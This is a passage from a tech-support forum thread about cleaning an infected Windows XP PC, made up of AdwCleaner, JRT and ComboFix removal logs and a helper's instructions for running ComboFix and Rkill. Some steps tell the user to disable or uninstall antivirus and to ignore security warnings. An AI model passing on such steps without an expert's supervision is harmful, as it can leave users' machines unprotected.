    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchInNewTabEnabled", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchInNewTabIntervalMM", 1440);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchInNewTabLastCheckTime", "Thu Dec 15 2011 18:40:08 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchInNewTabServiceUrl", "hxxp://newtab.conduit-hosting.com/newtab/?ctid=EB_TOOLBAR_ID");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchInNewTabUsageUrl", "hxxp://usage.hosting.toolbar.conduit-services.com/usage.ashx?ctid=EB_TOOLBAR_ID");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchInNewTabUserEnabled", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchProtectorEnabled", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchProtectorToolbarDisabled", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.ServiceMapLastCheckTime", "Thu Dec 15 2011 18:42:09 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SettingsCheckIntervalMin", 120);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SettingsLastCheckTime", "Wed Dec 14 2011 18:44:33 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SettingsLastUpdate", "1322100585");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.ThirdPartyComponentsInterval", 504);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.ThirdPartyComponentsLastCheck", "Thu Nov 24 2011 09:29:47 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.ThirdPartyComponentsLastUpdate", "1312887586");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.TrusteLinkUrl", "hxxp://trust.conduit.com/CT2438727");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.TrustedApiDomains", "conduit.com,conduit-hosting.com,conduit-services.com,client.conduit-storage.com,OurToolbar.com,CommunityToolbars.com,ForumToolbar.com,MyBlogToolbar.com,MyCity[...]
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.UserID", "UN46267206378902215");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.ValidationData_Toolbar", 2);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.alertChannelId", "832836");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.backendstorage.currentgame", "6661726D");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.clientLogIsEnabled", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.clientLogServiceUrl", "hxxp://clientlog.users.conduit.com/ClientDiagnostics.asmx/ReportDiagnosticsEvent");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.generalConfigFromLogin", "{\"ApiMaxAlerts\":\"12\",\"SocialDomains\":\"social.conduit.com;apps.conduit.com;services.apps.conduit.com\",\"AppsDetectionUrlPattern\":\"hxxp://appdown[...]
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.globalFirstTimeInfoLastCheckTime", "Fri Dec 16 2011 02:40:09 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.homepageProtectorEnableByLogin", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.initDone", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.isAppTrackingManagerOn", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.myStuffEnabled", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.myStuffPublihserMinWidth", 400);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.myStuffSearchUrl", "hxxp://Apps.conduit.com/search?q=SEARCH_TERM&SearchSourceOrigin=29&ctid=EB_TOOLBAR_ID&octid=EB_ORIGINAL_CTID");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.myStuffServiceIntervalMM", 1440);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.myStuffServiceUrl", "hxxp://mystuff.conduit-services.com/MyStuffService.ashx?ComponentId=EB_MY_STUFF_INSTANCE_GUID&lut=EB_MY_STUFF_LUT");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.oldAppsList", "129017707048431316,129017707048587567,111,129509324767711885,129023982676944454,129665740530401877,1000034,1000080,1000082,1000234,1000515,1000,1001,1002,1003,1004,[...]
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.searchProtectorDialogDelayInSec", 10);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.searchProtectorEnableByLogin", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.testingCtid", "");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.toolbarAppMetaDataLastCheckTime", "Thu Dec 15 2011 18:43:42 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.toolbarContextMenuLastCheckTime", "Wed Dec 14 2011 18:44:36 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.uninstallLogServiceUrl", "hxxp://uninstall.users.conduit.com/Uninstall.asmx/RegisterToolbarUninstallation");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.usagesFlag", 2);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.CantToolbarBeEngineOwner", "CT2438727");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://Settings.toolbar.search.conduit.com/root/CT2438727/CT2438727", "\"1322100586\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://alert.services.conduit.com/Alerts/AlertServices.asmx/GetHostedFeedRss?alertID=832836&alertFeedId=828639", "\"0\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://alerts.conduit-services.com/root/832836/828639/US", "\"0\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://appsmetadata.toolbar.conduit-services.com/?ctid=CT2438727", "\"0\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://contextmenu.toolbar.conduit-services.com/?name=GottenApps&locale=en", "wVmmvqqOMqrv5xct1cJIHg==");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://contextmenu.toolbar.conduit-services.com/?name=OtherApps&locale=en", "0uSPYx+Kl2jpu8sJZMeHjw==");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://contextmenu.toolbar.conduit-services.com/?name=SharedApps&locale=en", "Dclc8oo4TTv7+mAkSlUSWg==");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://contextmenu.toolbar.conduit-services.com/?name=Toolbar&locale=en", "K4Vqu91uAzWURlxJRdXJOg==");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://dynamicdialogs.alert.conduit-services.com/alert/dlg.pkg", "\"07879643d3acc1:1278\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://dynamicdialogs.toolbar.conduit-services.com/DLG.pkg?ver=3.3.3.2", "\"80c2b552604fcc1:1082\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://dynamicdialogs.toolbar.conduit-services.com/DLG.pkg?ver=3.6.0.10", "\"6a637346d78ccc1:1278\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://servicemap.conduit-services.com/Toolbar/?ownerId=CT2438727", "\"93602d2a60e927e3ca51f1ad15996f04\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://settings.toolbar.conduit-services.com/?ctid=CT2438727&octid=CT2438727", "\"1322100586\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://settings.toolbar.search.conduit.com/root/CT2438727/CT2438727", "\"1311168869\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://storage.conduit.com/27/243/CT2438727/Images/Blank.png", "\"27f9ceb6f365cb1:0\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ETag.hxxp://translation.toolbar.conduit-services.com/?locale=en", "\"1d81252562c31be757300e4205a85371\"");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.LatestLibsPath", "file:///C:\\Documents and Settings\\Geny\\Application Data\\Mozilla\\Firefox\\Profiles\\59nmg3h4.default\\conduitCommon\\modules\\3.6.0.10");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.LatestToolbarVersionInstalled", "3.6.0.10");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.SearchFromAddressBarSavedUrl", "chrome://browser-region/locale/region.properties");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ToolbarsList", "CT2438727");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.ToolbarsList2", "CT2438727");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.alertDialogsGetterLastCheckTime", "Mon Jul 25 2011 13:09:38 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.alertInfoInterval", 1440);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.alertInfoLastCheckTime", "Fri Aug 19 2011 07:45:25 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.clientsServerUrl", "hxxp://alert.client.conduit.com");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.locale", "en");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.loginIntervalMin", 1440);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.loginLastCheckTime", "Fri Aug 19 2011 21:47:00 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.loginLastUpdateTime", "1313487611");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.messageShowTimeSec", 20);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.servicesServerUrl", "hxxp://alert.services.conduit.com");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.showTrayIcon", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.userCloseIntervalMin", 300);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.alert.userId", "{cbc154d8-0ff1-400f-bafc-799eb406f306}");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.globalUserId", "ac960876-ff4b-4d39-9aaf-95dbf1a1d22f");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.isAlertUrlAddedToFeedItemTable", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.isClickActionAddedToFeedItemTable", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.alertDialogsGetterLastCheckTime", "Wed Dec 14 2011 18:45:09 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.clientsServerUrl", "hxxp://alert.client.conduit.com");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.locale", "");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.loginIntervalMin", 0);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.loginLastCheckTime", "Thu Dec 15 2011 18:40:11 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.loginLastUpdateTime", "");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.messageShowTimeSec", 20);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.servicesServerUrl", "hxxp://alert.services.conduit.com");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.showTrayIcon", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.userCloseIntervalMin", 300);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CommunityToolbar.notifications.userId", "ac1b52ee-ab0b-4206-a9f1-e33e23f0ed52");
    [-] [C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data] [Search Provider] Deleted : aol.com
    [-] [C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data] [Search Provider] Deleted : ask.com

    *************************

    :: "Tracing" keys removed
    :: Winsock settings cleared

    ########## EOF - C:\AdwCleaner\AdwCleaner[C1].txt - [35179 bytes] ##########
     
  16. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Note: I made a change and I hope it's ok. When I went to run Junkware Removal Tool it wasn't able to create a restore point. Since you had pointed it out and I didn't have a reason to have the restore point turned off and the program seemed to want to use that, I thought it would probably be ok to turn it back on so I figured out how to turn it back on and then re-ran JRT.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Junkware Removal Tool (JRT) by Malwarebytes
    Version: 8.0.0 (11.12.2015)
    Operating System: Microsoft Windows XP x86
    Ran by Geny (Administrator) on Tue 11/17/2015 at 8:36:32.96
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




    File System: 9

    Successfully deleted: C:\Program Files\mozilla firefox\defaults\pref\itms.js (File)
    Successfully deleted: C:\Program Files\mozilla firefox\plugins\npcouponprinter.dll (File)
    Successfully deleted: C:\Program Files\mozilla firefox\plugins\npmozcouponprinter.dll (File)
    Successfully deleted: C:\WINDOWS\couponprinter.ocx (File)
    Successfully deleted: C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\50YB153W (Folder)
    Successfully deleted: C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\60HO4T7O (Folder)
    Successfully deleted: C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\MSPEKADK (Folder)
    Successfully deleted: C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\TEGN5RUW (Folder)
    Successfully deleted: C:\WINDOWS\prefetch\GOOGLETOOLBARNOTIFIER.EXE-0047A1C5.pf (File)



    Registry: 1

    Successfully deleted: HKLM\Software\Microsoft\Internet Explorer\Search\\SearchAssistant (Registry Value)




    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Scan was completed on Tue 11/17/2015 at 8:38:17.71
    End of JRT log
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
  17. Broni

    Broni Malware Annihilator Posts: 52,895   +344

    Good job :)
    Among other things you were infected with ZeroAccess rootkit.

    Please download ComboFix from Here, Here or Here to your Desktop.

    **Note: In the event you already have Combofix, this is a new version that I need you to download. It is important that it is saved directly to your desktop**
    • Never rename Combofix unless instructed.
    • Close any open browsers.
    • Very Important! Temporarily disable your anti-virus and any anti-malware real-time protection before performing a scan. They can interfere with ComboFix or remove some of its embedded files which may cause "unpredictable results".
    • Click on this link to see a list of programs that should be disabled. The list is not all inclusive. If yours is not listed and you don't know how to disable it, please ask.
    • Close any open browsers.
    • WARNING: Combofix will disconnect your machine from the Internet as soon as it starts
    • Please do not attempt to re-connect your machine back to the Internet until Combofix has completely finished.
    • If there is no internet connection after running Combofix, then restart your computer to restore back your connection.
      If the connection is not there use restore point you created prior to running Combofix.
    • Double click on combofix.exe & follow the prompts.

    • NOTE1. If Combofix asks you to install Recovery Console, please allow it.
      NOTE 2. If Combofix asks you to update the program, always do so.
    • When finished, it will produce a report for you.
    • Please post the "C:\ComboFix.txt"
    **Note 1: Do not mouseclick combofix's window while it's running. That may cause it to stall
    **Note 2 for AVG and CA Internet Security (Total Defense Internet Security) users: ComboFix will not run until AVG/CA Internet Security is uninstalled as a protective measure against the anti-virus. This is because AVG/CA Internet Security "falsely" detects ComboFix (or its embedded files) as a threat and may remove them resulting in the tool not working correctly which in turn can cause "unpredictable results". Since AVG/CA Internet Security cannot be effectively disabled before running ComboFix, the author recommends you to uninstall AVG/CA Internet Security first.
    Use AppRemover to uninstall it: http://www.appremover.com/
    We can reinstall it when we're done with CF.
    **Note 3: If you receive an error Illegal operation attempted on a registery key that has been marked for deletion, restart computer to fix the issue.
    **Note 4: Some infections may take some significant time to be cured. As long as your computer clock is running Combofix is still working. Be patient.


    Make sure, you re-enable your security programs, when you're done with Combofix.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    NOTE.
    If, for some reason, Combofix refuses to run, try the following...

    Delete Combofix file, download fresh one, but rename combofix.exe to your_name.exe BEFORE saving it to your desktop.
    Do NOT run it yet.
    Download Rkill (courtesy of BleepingComputer.com) to your desktop.
    There are 2 different versions. If one of them won't run then download and try to run the other one.
    You only need to get one of these to run, not all of them. You may get warnings from your antivirus about this tool, ignore them or shutdown your antivirus.

    rKill.exe: http://www.bleepingcomputer.com/download/rkill/dl/10/
    iExplore.exe (renamed rKill.exe): http://www.bleepingcomputer.com/download/rkill/dl/11/

    Restart computer in safe mode

    • Double-click on the Rkill desktop icon to run the tool.
    • If using Windows Vista, 7 or 8 right-click on it and choose Run As Administrator.
    • A black DOS box will briefly flash and then disappear. This is normal and indicates the tool ran successfully.
    • If not, delete the file, then download and use the one provided in Link 2.
    • Do not reboot until instructed.
    • If the tool does not run from any of the links provided, please let me know.

    When the scan is done Notepad will open with rKill.txt log.
    NOTE. rKill.txt log will also be present on your desktop.

    Once you've gotten one of them to run, immediately run your_name.exe by double clicking on it.

    IF you had to run rKill post BOTH logs, rKill.txt and Combofix.txt.
     
  18. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    AppReomver won't detect AVG. It just detects Malwarebytes and UTorrent. It doesn't seem like there is a way to get it to recognize it. Can I uninstall through 'Add or Remove Programs'?
     
  19. Broni

    Broni Malware Annihilator Posts: 52,895   +344

  20. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    ComboFix 15-11-17.01 - Geny 11/18/2015 19:34:29.1.2 - x86
    Microsoft Windows XP Professional 5.1.2600.3.1252.1.1033.18.3036.2338 [GMT -7:00]
    Running from: c:\documents and settings\Geny\Desktop\ComboFix.exe
    .
    .
    ((((((((((((((((((((((((((((((((((((((( Other Deletions )))))))))))))))))))))))))))))))))))))))))))))))))
    .
    .
    c:\windows\msdownld.tmp
    c:\windows\system32\AdobePDF.dll
    c:\windows\system32\DEBUG.log
    c:\windows\system32\drivers\etc\hosts.ics
    .
    .
    ((((((((((((((((((((((((( Files Created from 2015-10-19 to 2015-11-19 )))))))))))))))))))))))))))))))
    .
    .
    2015-11-18 13:40 . 2015-11-18 14:31 -------- d-----w- c:\program files\OPSWAT
    2015-11-18 13:40 . 2015-11-18 13:40 -------- d-----w- c:\documents and settings\All Users\Application Data\OPSWAT
    2015-11-17 15:37 . 2015-11-17 15:37 -------- d-----w- c:\documents and settings\NetworkService\Application Data\Apple Computer
    2015-11-17 15:26 . 2015-11-17 15:28 -------- d-----w- C:\AdwCleaner
    2015-11-17 04:01 . 2015-11-17 15:21 170200 ----a-w- c:\windows\system32\drivers\MBAMSwissArmy.sys
    2015-11-17 04:01 . 2015-11-17 04:01 -------- d-----w- c:\program files\Malwarebytes Anti-Malware
    2015-11-17 04:01 . 2015-11-17 04:01 -------- d-----w- c:\documents and settings\All Users\Application Data\Malwarebytes
    2015-11-17 04:01 . 2015-10-05 16:50 121560 ----a-w- c:\windows\system32\drivers\mbamchameleon.sys
    2015-11-17 04:01 . 2015-10-05 16:50 23256 ----a-w- c:\windows\system32\drivers\mbam.sys
    2015-11-16 08:26 . 2015-11-17 03:03 35064 ----a-w- c:\windows\system32\drivers\TrueSight.sys
    2015-11-16 08:26 . 2015-11-16 14:28 -------- d-----w- c:\documents and settings\All Users\Application Data\RogueKiller
    2015-11-15 03:31 . 2015-11-15 03:35 -------- d-----w- C:\FRST
    2015-11-14 21:55 . 2015-11-14 21:56 -------- d-----w- C:\bb64b446
    2015-11-03 13:45 . 2015-11-03 13:45 -------- d-----w- c:\windows\system32\config\systemprofile\Application Data\AVG
    2015-11-03 13:40 . 2015-11-03 13:43 -------- d-----w- c:\documents and settings\All Users\Application Data\Avg
